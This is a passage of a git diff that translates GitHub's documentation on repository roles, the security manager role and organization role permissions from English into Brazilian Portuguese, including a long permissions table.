-  ![Selecting permission levels from repository role drop-down](/assets/images/help/organizations/repository-role-drop-down.png)
-7. Click **Create role**.
-  ![Confirm creating a repository role](/assets/images/help/organizations/repository-role-creation-confirm.png)
+5. Click **Create a Role**. ![Screenshot of "Create a Role" button](/assets/images/help/organizations/repository-role-create-role.png)
+4. Under "Name", type the name of your repository role. ![Field to type a name for the repository role](/assets/images/help/organizations/repository-role-name.png)
+5. Under "Description", type a description of your repository role. ![Field to type a description for the repository role](/assets/images/help/organizations/repository-role-description.png)
+6. Under "Choose a role to inherit", select the role you want to inherit. ![Selecting repository role base role option](/assets/images/help/organizations/repository-role-base-role-option.png)
+7. Under "Add Permissions", use the drop-down menu to select the permissions you want your custom role to include. ![Selecting permission levels from repository role drop-down](/assets/images/help/organizations/repository-role-drop-down.png)
+7. Click **Create role**. ![Confirm creating a repository role](/assets/images/help/organizations/repository-role-creation-confirm.png)
 
 ## Editing a repository role
 
@@ -133,10 +127,8 @@ To create a new repository role, you add permissions to an inherited role and gi
 {% data reusables.organizations.org_settings %}
 {% data reusables.organizations.org-list %}
 {% data reusables.organizations.org-settings-repository-roles %}
-3. To the right of the role you want to edit, click {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %}, then click **Edit**.
-  ![Edit option in drop-down menu for repository roles](/assets/images/help/organizations/repository-role-edit-setting.png)
-4. Edit, then click **Update role**.
-  ![Edit fields and update repository roles](/assets/images/help/organizations/repository-role-update.png)
+3. To the right of the role you want to edit, click {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %}, then click **Edit**. ![Edit option in drop-down menu for repository roles](/assets/images/help/organizations/repository-role-edit-setting.png)
+4. Edit, then click **Update role**. ![Edit fields and update repository roles](/assets/images/help/organizations/repository-role-update.png)
 
 ## Deleting a repository role
 
@@ -147,7 +139,5 @@ If you delete an existing repository role, all pending invitations, teams, and u
 {% data reusables.organizations.org_settings %}
 {% data reusables.organizations.org-list %}
 {% data reusables.organizations.org-settings-repository-roles %}
-3. To the right of the role you want to delete, click {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %}, then click **Delete**.
-  ![Edit option in drop-down menu for repository roles](/assets/images/help/organizations/repository-role-delete-setting.png)
-4. Review changes for the role you want to remove, then click **Delete role**.
-  ![Confirm deleting a repository role](/assets/images/help/organizations/repository-role-delete-confirm.png)
+3. To the right of the role you want to delete, click {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %}, then click **Delete**. ![Edit option in drop-down menu for repository roles](/assets/images/help/organizations/repository-role-delete-setting.png)
+4. Revise as alterações para a função que você deseja remover e, em seguida, clique em **Excluir função**. ![Confirme a exclusão de uma função do repositório](/assets/images/help/organizations/repository-role-delete-confirm.png)
diff --git a/translations/pt-BR/content/organizations/managing-peoples-access-to-your-organization-with-roles/managing-security-managers-in-your-organization.md b/translations/pt-BR/content/organizations/managing-peoples-access-to-your-organization-with-roles/managing-security-managers-in-your-organization.md
index ad9f8d0d00..7aaa4489b2 100644
--- a/translations/pt-BR/content/organizations/managing-peoples-access-to-your-organization-with-roles/managing-security-managers-in-your-organization.md
+++ b/translations/pt-BR/content/organizations/managing-peoples-access-to-your-organization-with-roles/managing-security-managers-in-your-organization.md
@@ -1,6 +1,6 @@
 ---
-title: Managing security managers in your organization
-intro: You can give your security team the least access they need to your organization by assigning a team to the security manager role.
+title: Gerenciando os gerentes de segurança da sua organização
+intro: Você pode conceceder à sua equipe de segurança o acesso mínimo necessário à sua organização atribuindo uma equipe à função de gerente de segurança.
 versions:
   fpt: '*'
   ghes: '>=3.3'
@@ -8,7 +8,7 @@ versions:
 topics:
   - Organizations
   - Teams
-shortTitle: Security manager role
+shortTitle: Função de gerente de segurança
 permissions: Organization owners can assign the security manager role.
 ---
 
@@ -16,42 +16,40 @@ permissions: Organization owners can assign the security manager role.
 
 {% data reusables.organizations.about-security-managers %}
 
-## Permissions for the security manager role
+## Permissões para a função de gerente de segurança
 
-Members of a team with the security manager role have only the permissions required to effectively manage security for the organization.
+Os integrantes de uma equipe com a função de gerente de segurança só têm as permissões necessárias para gerenciar efetivamente a segurança da organização.
 
-- Read access on all repositories in the organization, in addition to any existing repository access
-- Write access on all security alerts in the organization {% ifversion not fpt %}
-- Access to the organization's security overview {% endif %}
-- The ability to configure security settings at the organization level{% ifversion not fpt %}, including the ability to enable or disable {% data variables.product.prodname_GH_advanced_security %}{% endif %}
-- The ability to configure security settings at the repository level{% ifversion not fpt %}, including the ability to enable or disable {% data variables.product.prodname_GH_advanced_security %}{% endif %}
+- Acesso de leitura em todos os repositórios da organização, além de acesso a qualquer repositório existente
+- Acesso de gravação em todos os alertas de segurança na organização {% ifversion not fpt %}
+- Acesso à visão geral de segurança da organização {% endif %}
+- A habilidade de configurar as configurações de segurança no nível da organização{% ifversion not fpt %}, incluindo a capacidade de habilitar ou desabilitar {% data variables.product.prodname_GH_advanced_security %}{% endif %}
+- A habilidade de configurar as configurações de segurança no nível{% ifversion not fpt %}do repositório, incluindo a habilidade de habilitar ou desabilitar {% data variables.product.prodname_GH_advanced_security %}{% endif %}
 
 {% ifversion fpt %}
-Additional functionality, including a security overview for the organization, is available in organizations that use {% data variables.product.prodname_ghe_cloud %} with {% data variables.product.prodname_advanced_security %}. For more information, see the [{% data variables.product.prodname_ghe_cloud %} documentation](/enterprise-cloud@latest/organizations/managing-peoples-access-to-your-organization-with-roles/managing-security-managers-in-your-organization).
+Funcionalidades adicionais, incluindo uma visão geral de segurança para a organização, estão disponíveis em organizações que usam {% data variables.product.prodname_ghe_cloud %} com {% data variables.product.prodname_advanced_security %}. Para obter mais informações, consulte a [documentação de {% data variables.product.prodname_ghe_cloud %}](/enterprise-cloud@latest/organizations/managing-peoples-access-to-your-organization-with-roles/managing-security-managers-in-your-organization).
 {% endif %}
 
-If a team has the security manager role, people with admin access to the team and a specific repository can change the team's level of access to that repository but cannot remove the access. For more information, see "[Managing team access to an organization repository](/organizations/managing-access-to-your-organizations-repositories/managing-team-access-to-an-organization-repository){% ifversion ghes %}."{% else %} and "[Managing teams and people with access to your repository](/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/managing-teams-and-people-with-access-to-your-repository)."{% endif %}
+Se uma equipe tiver a função de gerente de segurança, as pessoas com acesso de administrador à equipe e um repositório específico poderão alterar o nível de acesso da equipe a esse repositório, mas não poderão remover o acesso. Para obter mais informações, consulte "[Gerenciando o acesso da equipe ao repositório de uma organização](/organizations/managing-access-to-your-organizations-repositories/managing-team-access-to-an-organization-repository){% ifversion ghes %}."{% else %} e "[Gerenciando as equipes e pessoas com acesso ao seu repositório](/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/managing-teams-and-people-with-access-to-your-repository)."{% endif %}
 
-  ![Manage repository access UI with security managers](/assets/images/help/organizations/repo-access-security-managers.png)
+  ![Gerenciar a interface do usuário do repositório com gerentes de segurança](/assets/images/help/organizations/repo-access-security-managers.png)
 
-## Assigning the security manager role to a team in your organization
-You can assign the security manager role to a maximum of 10 teams in your organization.
+## Atribuindo a função de gerente de segurança a uma equipe da sua organização
+É possível atribuir a função de gerente de segurança a, no máximo, 10 equipes na sua organização.
 
 {% data reusables.profile.access_org %}
 {% data reusables.profile.org_settings %}
 {% data reusables.organizations.security-and-analysis %}
-1. Under **Security managers**, search for and select the team to give the role. Each team you select will appear in a list below the search bar. 
-  ![Add security manager](/assets/images/help/organizations/add-security-managers.png)
-## Removing the security manager role from a team in your organization
+1. Sob **Gerentes de Segurança**, procure e selecione a equipe para conceder a função. Cada equipe que você selecionar aparecerá em uma lista abaixo da barra de pesquisa. ![Adicionar gerente de segurança](/assets/images/help/organizations/add-security-managers.png)
+## Removendo a função de gerente de segurança de uma equipe da sua organização
 
 {% warning %}
 
-**Warning:** Removing the security manager role from a team will remove the team's ability to manage security alerts and settings across the organization, but the team will retain read access to repositories that was granted when the role was assigned. You must remove any unwanted read access manually. For more information, see "[Managing team access to an organization repository](/organizations/managing-access-to-your-organizations-repositories/managing-team-access-to-an-organization-repository#removing-a-teams-access-to-a-repository)."
+**Aviso:** A remoção da função de gerente de segurança de uma equipe removerá a capacidade da equipe de gerenciar alertas de segurança e configurações em toda a organização, mas a equipe manterá o acesso de leitura aos repositórios que foram concedidos quando a função foi atribuída. Você precisa remover qualquer acesso de leitura indesejado manualmente. Para obter mais informações, consulte "[Managing team access to an organization repository](/organizations/managing-access-to-your-organizations-repositories/managing-team-access-to-an-organization-repository#removing-a-teams-access-to-a-repository)."
 
 {% endwarning %}
 
 {% data reusables.profile.access_org %}
 {% data reusables.profile.org_settings %}
 {% data reusables.organizations.security-and-analysis %}
-1. Under **Security managers**, to the right of the team you want to remove as security managers, click {% octicon "x" aria-label="The X icon" %}.
-  ![Remove security managers](/assets/images/help/organizations/remove-security-managers.png)
+1. Em **Gerentes de segurança**, à direita da equipe que você deseja remover como gerentes de segurança, clique em {% octicon "x" aria-label="The X icon" %}. ![Remover gerentes de segurança](/assets/images/help/organizations/remove-security-managers.png)
diff --git a/translations/pt-BR/content/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization.md b/translations/pt-BR/content/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization.md
index a62d2b892d..a63aaa2bb6 100644
--- a/translations/pt-BR/content/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization.md
+++ b/translations/pt-BR/content/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization.md
@@ -1,6 +1,6 @@
 ---
-title: Roles in an organization
-intro: Organization owners can assign roles to individuals and teams giving them different sets of permissions in the organization.
+title: Funções em uma organização
+intro: 'Os proprietários da organização podem atribuir funções a indivíduos e equipes, dando-lhes diferentes conjuntos de permissões na organização.'
 redirect_from:
   - /articles/permission-levels-for-an-organization-early-access-program
   - /articles/permission-levels-for-an-organization
@@ -14,210 +14,218 @@ versions:
 topics:
   - Organizations
   - Teams
-shortTitle: Roles in an organization
+shortTitle: Funções em uma organização
 ---
-## About roles
+
+## Sobre as funções
 {% data reusables.organizations.about-roles %}
 
-Repository-level roles give organization members, outside collaborators and teams of people varying levels of access to repositories. For more information, see "[Repository roles for an organization](/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization)."
+As funções no nível de repositório concedem aos integrantes da organização, colaboradores externos e equipes de pessoas diferentes níveis de acesso aos repositórios. Para obter mais informações, consulte "[Funções do repositório para uma organização](/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization)".
 
-Team-level roles are roles that give permissions to manage a team. You can give any individual member of a team the team maintainer role, which gives the member a number of administrative permissions over a team. For more information, see "[Assigning the team maintainer role to a team member](/organizations/organizing-members-into-teams/assigning-the-team-maintainer-role-to-a-team-member)."
+As funções no nível da equipe são funções que dão permissões para gerenciar uma equipe. Qualquer integrante individual de uma equipe pode atribuir a função de mantenedor da equipe, o que dá ao integrante uma série de permissões administrativas em uma equipe. Para obter mais informações, consulte[Atribuindo a função de mantenedor da equipe a um integrante da equipe](/organizations/organizing-members-into-teams/assigning-the-team-maintainer-role-to-a-team-member)".
 
-Organization-level roles are sets of permissions that can be assigned to individuals or teams to manage an organization and the organization's repositories, teams, and settings. For more information about all the roles available at the organization level, see "[About organization roles](#about-organization-roles)."
+As funções no nível de organização são conjuntos de permissões que podem ser atribuídas a indivíduos ou equipes para gerenciar uma organização e os repositórios, equipes e configurações da organização. Para obter mais informações sobre todas as funções disponíveis no nível da organização, consulte "[Sobre as funções da organização](#about-organization-roles)".
 
-## About organization roles
+## Sobre as funções da organização
 
-You can assign individuals or teams to a variety of organization-level roles to control your members' access to your organization and its resources. For more details about the individual permissions included in each role, see "[Permissions for organization roles](#permissions-for-organization-roles)."
+Você pode atribuir indivíduos ou equipes a diversos cargos na organização para controlar o acesso dos seus integrantes à sua organização e seus recursos. Para mais detalhes sobre as permissões individuais incluídas em cada função, consulte "[Permissões para as funções da organização](#permissions-for-organization-roles)".
 
-### Organization owners
-Organization owners have complete administrative access to your organization. This role should be limited, but to no less than two people, in your organization. For more information, see "[Maintaining ownership continuity for your organization](/organizations/managing-peoples-access-to-your-organization-with-roles/maintaining-ownership-continuity-for-your-organization)."
+### Proprietários da organização
+Os proprietários da organização têm acesso administrativo completo à sua organização. Essa função deve ser limitada a não menos que duas pessoas na sua organização. Para obter mais informações, consulte "[Manter a continuidade da propriedade para a sua organização](/organizations/managing-peoples-access-to-your-organization-with-roles/maintaining-ownership-continuity-for-your-organization)".
 
-### Organization members
-The default, non-administrative role for people in an organization is the organization member. By default, organization members have a number of permissions, including the ability to create repositories and project boards.
+### Integrantes da organização
+A função não administrativa por padrão para as pessoas de uma organização é o integrante da organização. Por padrão, os integrantes da organização têm várias permissões, incluindo a capacidade de criar repositórios e quadros de projetos.
 
 {% ifversion fpt or ghec %}
-### Billing managers
-Billing managers are users who can manage the billing settings for your organization, such as payment information. This is a useful option if members of your organization don't usually have access to billing resources. For more information, see "[Adding a billing manager to your organization](/organizations/managing-peoples-access-to-your-organization-with-roles/adding-a-billing-manager-to-your-organization)."
+### Gerentes de cobrança
+Os gerentes de cobrança são usuários que podem gerenciar as configurações de cobrança para a sua organização, como informações de pagamento. Essa é uma opção útil se os integrantes da sua organização geralmente não têm acesso aos recursos de cobrança. Para obter mais informações, consulte "[Adicionar um gerente de cobrança à sua organização](/organizations/managing-peoples-access-to-your-organization-with-roles/adding-a-billing-manager-to-your-organization)."
 
 {% endif %}
 
 {% if security-managers %}
-### Security managers
+### Gerentes de segurança
 
 {% data reusables.organizations.security-manager-beta-note %}
 
 {% data reusables.organizations.about-security-managers %}
 
-If your organization has a security team, you can use the security manager role to give members of the team the least access they need to the organization. For more information, see "[Managing security managers in your organization](/organizations/managing-peoples-access-to-your-organization-with-roles/managing-security-managers-in-your-organization)."
+Se a sua organização tiver uma equipe de segurança, você poderá usar o papel de gerente de segurança para conceder aos integrantes o mínimo de acesso de que precisam para a organização. Para obter mais informações, consulte "[Gerenciando os gerentes de segurança na sua organização](/organizations/managing-peoples-access-to-your-organization-with-roles/managing-security-managers-in-your-organization)".
 {% endif %}
-### {% data variables.product.prodname_github_app %} managers
-By default, only organization owners can manage the settings of {% data variables.product.prodname_github_apps %} owned by an organization. To allow additional users to manage {% data variables.product.prodname_github_apps %} owned by an organization, an owner can grant them {% data variables.product.prodname_github_app %} manager permissions.
+### Gerentes de {% data variables.product.prodname_github_app %}
+Por padrão, somente proprietários da organização podem gerenciar as configurações de {% data variables.product.prodname_github_apps %} pertencentes a uma organização. Para permitir que usuários adicionais gerenciem {% data variables.product.prodname_github_apps %} pertencente a uma organização, um proprietário pode conceder a eles permissões de gerentes de {% data variables.product.prodname_github_app %}.
 
-When you designate a user as a {% data variables.product.prodname_github_app %} manager in your organization, you can grant them access to manage the settings of some or all {% data variables.product.prodname_github_apps %} owned by the organization. For more information, see:
+Ao nomear um usuário como um gerente de {% data variables.product.prodname_github_app %} na sua organização, você pode conceder a eles acesso para gerenciar as configurações de alguns ou todos os {% data variables.product.prodname_github_apps %} pertencentes à organização. Para obter mais informações, consulte:
 
-- "[Adding GitHub App managers in your organization](/articles/adding-github-app-managers-in-your-organization)"
-- "[Removing GitHub App managers from your organization](/articles/removing-github-app-managers-from-your-organization)"
+- "[Adicionar gerentes de aplicativos GitHub na organização](/articles/adding-github-app-managers-in-your-organization)"
+- "[Remover gerentes de aplicativos GitHub de sua organização](/articles/removing-github-app-managers-from-your-organization)"
 
-### Outside collaborators
-To keep your organization's data secure while allowing access to repositories, you can add *outside collaborators*. {% data reusables.organizations.outside_collaborators_description %}
+### Colaboradores externos
+Para manter os dados da sua organização seguros, permitindo o acesso aos repositórios, é possível adicionar *colaboradores externos*. {% data reusables.organizations.outside_collaborators_description %}
 
-## Permissions for organization roles
+## Permissões para as funções da organização
 
 {% ifversion fpt %}
-Some of the features listed below are limited to organizations using {% data variables.product.prodname_ghe_cloud %}. {% data reusables.enterprise.link-to-ghec-trial %}
+Algumas das funcionalidades listadas abaixo estão limitadas a organizações que usam {% data variables.product.prodname_ghe_cloud %}. {% data reusables.enterprise.link-to-ghec-trial %}
 {% endif %}
 
 {% ifversion fpt or ghec %}
 <!--Dotcom and cloud version has extra column for Billing managers-->
 
-| Organization permission | Owners | Members | Billing managers | Security managers |
-|:--------------------|:------:|:-------:|:----------------:|:----------------:|
-| Create repositories (see "[Restricting repository creation in your organization](/articles/restricting-repository-creation-in-your-organization)" for details) | **X** | **X** |  | **X**  |
-| View and edit billing information | **X** |  | **X** |  |
-| Invite people to join the organization | **X** |  |  |  |
-| Edit and cancel invitations to join the organization | **X** |  |  |  |
-| Remove members from the organization | **X** | | |  |
-| Reinstate former members to the organization | **X** | | |  |
-| Add and remove people from **all teams** | **X** |  |  |  |
-| Promote organization members to *team maintainer* | **X** |  |  |  |
-| Configure code review assignments (see "[Managing code review assignment for your team](/organizations/organizing-members-into-teams/managing-code-review-assignment-for-your-team)") | **X** |  |  |  |
-| Set scheduled reminders (see "[Managing scheduled reminders for pull requests](/github/setting-up-and-managing-organizations-and-teams/managing-scheduled-reminders-for-pull-requests)") | **X** |  |  |  |
-| Add collaborators to **all repositories** | **X** |  |  |  |
-| Access the organization audit log | **X** |  |  |  |
-| Edit the organization's profile page (see "[About your organization's profile](/github/setting-up-and-managing-your-github-profile/customizing-your-profile/about-your-organizations-profile)" for details) | **X** |  |  |  |
-| Verify the organization's domains (see "[Verifying your organization's domain](/articles/verifying-your-organization-s-domain)" for details) | **X** |  |  |  |
-| Restrict email notifications to verified or approved domains (see "[Restricting email notifications for your organization](/organizations/keeping-your-organization-secure/restricting-email-notifications-for-your-organization)" for details) | **X** |  |  |  |
-| Delete **all teams** | **X** |  |  |  |
-| Delete the organization account, including all repositories | **X** |  |  |  |
-| Create teams (see "[Setting team creation permissions in your organization](/articles/setting-team-creation-permissions-in-your-organization)" for details) | **X** | **X** |  | **X**  |
-| [Move teams in an organization's hierarchy](/articles/moving-a-team-in-your-organization-s-hierarchy) | **X** | | |  |
-| Create project boards (see "[Project board permissions for an organization](/articles/project-board-permissions-for-an-organization)" for details) | **X** | **X** | | **X**  |
-| See all organization members and teams | **X** | **X** |  | **X**  |
-| @mention any visible team | **X** | **X** |  | **X**  |
-| Can be made a *team maintainer* | **X** | **X** |  | **X** |
-| View organization insights (see "[Viewing insights for your organization](/articles/viewing-insights-for-your-organization)" for details) | **X** | **X** |  | **X**  |
-| View and post public team discussions to **all teams** (see "[About team discussions](/organizations/collaborating-with-your-team/about-team-discussions)" for details) | **X** | **X** |  | **X**  |
-| View and post private team discussions to **all teams** (see "[About team discussions](/organizations/collaborating-with-your-team/about-team-discussions)" for details) | **X** |  |  |  |
-| Edit and delete team discussions in **all teams** (see "[Managing disruptive comments](/communities/moderating-comments-and-conversations/managing-disruptive-comments)" for details) | **X** |  |  |  |
-| Hide comments on commits, pull requests, and issues (see "[Managing disruptive comments](/communities/moderating-comments-and-conversations/managing-disruptive-comments/#hiding-a-comment)" for details) | **X** | **X** | | **X** |
-| Disable team discussions for an organization (see "[Disabling team discussions for your organization](/articles/disabling-team-discussions-for-your-organization)" for details) | **X** |  |  |  |
-| Manage viewing of organization dependency insights (see "[Changing the visibility of your organization's dependency insights](/articles/changing-the-visibility-of-your-organizations-dependency-insights)" for details) | **X** |  |  |  |
-| Set a team profile picture in **all teams** (see "[Setting your team's profile picture](/articles/setting-your-team-s-profile-picture)" for details) | **X** |  |  |  |
-| Sponsor accounts and manage the organization's sponsorships (see "[Sponsoring open-source contributors](/sponsors/sponsoring-open-source-contributors)" for details) | **X** |  | **X** | **X**  |
-| Manage email updates from sponsored accounts (see "[Managing updates from accounts your organization's sponsors](/organizations/managing-organization-settings/managing-updates-from-accounts-your-organization-sponsors)" for details) | **X** | | |  |
-| Attribute your sponsorships to another organization (see "[Attributing sponsorships to your organization](/sponsors/sponsoring-open-source-contributors/attributing-sponsorships-to-your-organization)" for details ) | **X** | | |  |
-| Manage the publication of {% data variables.product.prodname_pages %} sites from repositories in the organization (see "[Managing the publication of {% data variables.product.prodname_pages %} sites for your organization](/organizations/managing-organization-settings/managing-the-publication-of-github-pages-sites-for-your-organization)" for details) | **X** | | |  |
-| Manage security and analysis settings (see "[Managing security and analysis settings for your organization](/organizations/keeping-your-organization-secure/managing-security-and-analysis-settings-for-your-organization)" for details) | **X** | | | **X** |
-| View the security overview for the organization (see "[About the security overview](/code-security/security-overview/about-the-security-overview)" for details) | **X** | | | **X** |{% ifversion ghec %}
-| Enable and enforce [SAML single sign-on](/articles/about-identity-and-access-management-with-saml-single-sign-on) | **X** |  |  |  |
-| [Manage a user's SAML access to your organization](/organizations/granting-access-to-your-organization-with-saml-single-sign-on/viewing-and-managing-a-members-saml-access-to-your-organization) | **X** |  |  |  |
-| Manage an organization's SSH certificate authorities (see "[Managing your organization's SSH certificate authorities](/articles/managing-your-organizations-ssh-certificate-authorities)" for details) | **X** |  |  |  |{% endif %}
-| Transfer repositories | **X** | |    |  |
-| Purchase, install, manage billing for, and cancel {% data variables.product.prodname_marketplace %} apps | **X** | | |  |
-| List apps in {% data variables.product.prodname_marketplace %} | **X** | | |  |
-| Receive [{% data variables.product.prodname_dependabot_alerts %} about vulnerable dependencies](/github/managing-security-vulnerabilities/about-alerts-for-vulnerable-dependencies) for all of an organization's repositories | **X** |  |  | **X** |
-| Manage {% data variables.product.prodname_dependabot_security_updates %} (see "[About {% data variables.product.prodname_dependabot_security_updates %}](/github/managing-security-vulnerabilities/about-dependabot-security-updates)") | **X** | | | **X** |
-| [Manage the forking policy](/organizations/managing-organization-settings/managing-the-forking-policy-for-your-organization) | **X** |  |  |
-| [Limit activity in public repositories in an organization](/communities/moderating-comments-and-conversations/limiting-interactions-in-your-organization) | **X** | | |  |
-| Pull (read) *all repositories* in the organization | **X** | | | **X** |
-| Push (write) and clone (copy) *all repositories* in the organization | **X** | | |  |
-| Convert organization members to [outside collaborators](#outside-collaborators) | **X** | | |  |
-| [View people with access to an organization repository](/articles/viewing-people-with-access-to-your-repository) | **X** | | |  |
-| [Export a list of people with access to an organization repository](/articles/viewing-people-with-access-to-your-repository/#exporting-a-list-of-people-with-access-to-your-repository) | **X** | | |  |
-| Manage the default branch name (see "[Managing the default branch name for repositories in your organization](/organizations/managing-organization-settings/managing-the-default-branch-name-for-repositories-in-your-organization)") | **X** | | |  |
-| Manage default labels (see "[Managing default labels for repositories in your organization](/articles/managing-default-labels-for-repositories-in-your-organization)") | **X** | | |  |{% ifversion ghec %}
-| Enable team synchronization (see "[Managing team synchronization for your organization](/organizations/managing-saml-single-sign-on-for-your-organization/managing-team-synchronization-for-your-organization)" for details) | **X** |  | |  |{% endif %}
+| Permissão da organização                                                                                                                                                                                                                                                                                                                                                                   | Proprietários | Integrantes | Gerentes de cobrança |    Gerentes de segurança    |
+|:------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |:-------------:|:-----------:|:--------------------:|:---------------------------:|
+| Criar repositórios (consulte "[Restringir a criação de repositórios na organização](/articles/restricting-repository-creation-in-your-organization)" para detalhes)                                                                                                                                                                                                                        |     **X**     |    **X**    |                      |            **X**            |
+| Visualizar e editar informações de cobrança                                                                                                                                                                                                                                                                                                                                                |     **X**     |             |        **X**         |                             |
+| Convidar pessoas para integrar a organização                                                                                                                                                                                                                                                                                                                                               |     **X**     |             |                      |                             |
+| Editar e cancelar convites para integrar a organização                                                                                                                                                                                                                                                                                                                                     |     **X**     |             |                      |                             |
+| Remover integrantes da organização                                                                                                                                                                                                                                                                                                                                                         |     **X**     |             |                      |                             |
+| Restabelecer ex-integrantes da organização                                                                                                                                                                                                                                                                                                                                                 |     **X**     |             |                      |                             |
+| Adicionar e remover pessoas de **todas as equipes**                                                                                                                                                                                                                                                                                                                                        |     **X**     |             |                      |                             |
+| Promover integrantes da organização a *mantenedor de equipe*                                                                                                                                                                                                                                                                                                                               |     **X**     |             |                      |                             |
+| Configurar as atribuições de revisão de código (consulte "[Gerenciar a atribuição de revisão de código para a sua equipe](/organizations/organizing-members-into-teams/managing-code-review-assignment-for-your-team)")                                                                                                                                                                    |     **X**     |             |                      |                             |
+| Definir lembretes agendados (consulte "[Gerenciar lembretes agendados para pull requests](/github/setting-up-and-managing-organizations-and-teams/managing-scheduled-reminders-for-pull-requests)")                                                                                                                                                                                        |     **X**     |             |                      |                             |
+| Adicionar colaboradores em **todos os repositórios**                                                                                                                                                                                                                                                                                                                                       |     **X**     |             |                      |                             |
+| Acessar o log de auditoria da organização                                                                                                                                                                                                                                                                                                                                                  |     **X**     |             |                      |                             |
+| Editar a página de perfil da organização (consulte "[Sobre o perfil da sua organização](/github/setting-up-and-managing-your-github-profile/customizing-your-profile/about-your-organizations-profile)" para detalhes)                                                                                                                                                                     |     **X**     |             |                      |                             |
+| Verificar os domínios da organização (consulte "[Verificar o domínio da sua organização](/articles/verifying-your-organization-s-domain)" para detalhes)                                                                                                                                                                                                                                   |     **X**     |             |                      |                             |
+| Restringir as notificações de e-mail a domínios verificados ou aprovados (consulte "[Restringir notificações de e-mail para a sua organização](/organizations/keeping-your-organization-secure/restricting-email-notifications-for-your-organization)" para obter informações)                                                                                                             |     **X**     |             |                      |                             |
+| Excluir **todas as equipes**                                                                                                                                                                                                                                                                                                                                                               |     **X**     |             |                      |                             |
+| Excluir a conta da organização, inclusive todos os repositórios                                                                                                                                                                                                                                                                                                                            |     **X**     |             |                      |                             |
+| Criar equipes (consulte "[Configurar permissões de criação de equipes na organização](/articles/setting-team-creation-permissions-in-your-organization)" para detalhes)                                                                                                                                                                                                                    |     **X**     |    **X**    |                      |            **X**            |
+| [Mover equipes na hierarquia da organização](/articles/moving-a-team-in-your-organization-s-hierarchy)                                                                                                                                                                                                                                                                                     |     **X**     |             |                      |                             |
+| Criar quadros de projetos (consulte "[Permissões de quadro de projeto para uma organização](/articles/project-board-permissions-for-an-organization)" para detalhes)                                                                                                                                                                                                                       |     **X**     |    **X**    |                      |            **X**            |
+| Ver todos os integrantes e equipes da organização                                                                                                                                                                                                                                                                                                                                          |     **X**     |    **X**    |                      |            **X**            |
+| @mencionar qualquer equipe visível                                                                                                                                                                                                                                                                                                                                                         |     **X**     |    **X**    |                      |            **X**            |
+| Poder se tornar um *mantenedor de equipe*                                                                                                                                                                                                                                                                                                                                                  |     **X**     |    **X**    |                      |            **X**            |
+| Visualizar as informações da organização (consulte "[Visualizar informações da organização](/articles/viewing-insights-for-your-organization)" para detalhes)                                                                                                                                                                                                                              |     **X**     |    **X**    |                      |            **X**            |
+| Visualizar e publicar discussões de equipe públicas para **todas as equipes** (consulte "[Sobre discussões de equipe](/organizations/collaborating-with-your-team/about-team-discussions)" para detalhes)                                                                                                                                                                                  |     **X**     |    **X**    |                      |            **X**            |
+| Visualizar e publicar discussões de equipe privadas para **todas as equipes** (consulte "[Sobre discussões de equipe](/organizations/collaborating-with-your-team/about-team-discussions)" para detalhes)                                                                                                                                                                                  |     **X**     |             |                      |                             |
+| Editar e excluir discussões de equipe em **todas as equipes** (consulte "[Gerenciar comentários conflituosos](/communities/moderating-comments-and-conversations/managing-disruptive-comments)" para detalhes)                                                                                                                                                                             |     **X**     |             |                      |                             |
+| Ocultar comentários em commits, pull requests e problemas (consulte "[Gerenciar comentários conflituosos](/communities/moderating-comments-and-conversations/managing-disruptive-comments/#hiding-a-comment)" para detalhes)                                                                                                                                                               |     **X**     |    **X**    |                      |            **X**            |
+| Desabilitar discussões de equipe na organização (consulte "[Desabilitar discussões de equipe em sua organização](/articles/disabling-team-discussions-for-your-organization)" para detalhes)                                                                                                                                                                                               |     **X**     |             |                      |                             |
+| Gerenciar a visualização de informações de dependência da organização (consulte "[Alterar a visibilidade das informações de dependência da organização](/articles/changing-the-visibility-of-your-organizations-dependency-insights)" para detalhes)                                                                                                                                       |     **X**     |             |                      |                             |
+| Definir uma foto de perfil da equipe para **todas as equipes** (consulte "[Definir uma foto de perfil de sua equipe](/articles/setting-your-team-s-profile-picture)" para detalhes)                                                                                                                                                                                                        |     **X**     |             |                      |                             |
+| Patrocinar contas e gerenciar os patrocínios da organização (Consulte "[Patrocinar contribuidoresde código aberto](/sponsors/sponsoring-open-source-contributors)" para mais detalhes)                                                                                                                                                                                                     |     **X**     |             |        **X**         |            **X**            |
+| Gerenciar atualizações de e-mail de contas patrocinadas (consulte "[Gerenciar atualizações de contas que a sua organização patrocina](/organizations/managing-organization-settings/managing-updates-from-accounts-your-organization-sponsors)" para obter detalhes)                                                                                                                       |     **X**     |             |                      |                             |
+| Atribuir seus patrocínios a outra organização (consulte "[Atribuir de patrocínios à sua organização](/sponsors/sponsoring-open-source-contributors/attributing-sponsorships-to-your-organization)" para obter mais detalhes)                                                                                                                                                               |     **X**     |             |                      |                             |
+| Gerencie a publicação dos sites de {% data variables.product.prodname_pages %} a partir dos repositórios na organização (consulte "[Gerenciar a publicação de sites de {% data variables.product.prodname_pages %} para a sua organização](/organizations/managing-organization-settings/managing-the-publication-of-github-pages-sites-for-your-organization)para obter mais informações) |     **X**     |             |                      |                             |
+| Gerenciar as configurações de segurança e análise (consulte "[Gerenciar as configurações de segurança e análise para a sua organização](/organizations/keeping-your-organization-secure/managing-security-and-analysis-settings-for-your-organization)" para obter mais informações)                                                                                                       |     **X**     |             |                      |            **X**            |
+| Veja a visão geral de segurança da organização (consulte "[Sobre a visão geral de segurança](/code-security/security-overview/about-the-security-overview)" para obter mais informações)                                                                                                                                                                                                   |     **X**     |             |                      | **X** |{% ifversion ghec %}
+| Habilitar e executar [logon único SAML](/articles/about-identity-and-access-management-with-saml-single-sign-on)                                                                                                                                                                                                                                                                           |     **X**     |             |                      |                             |
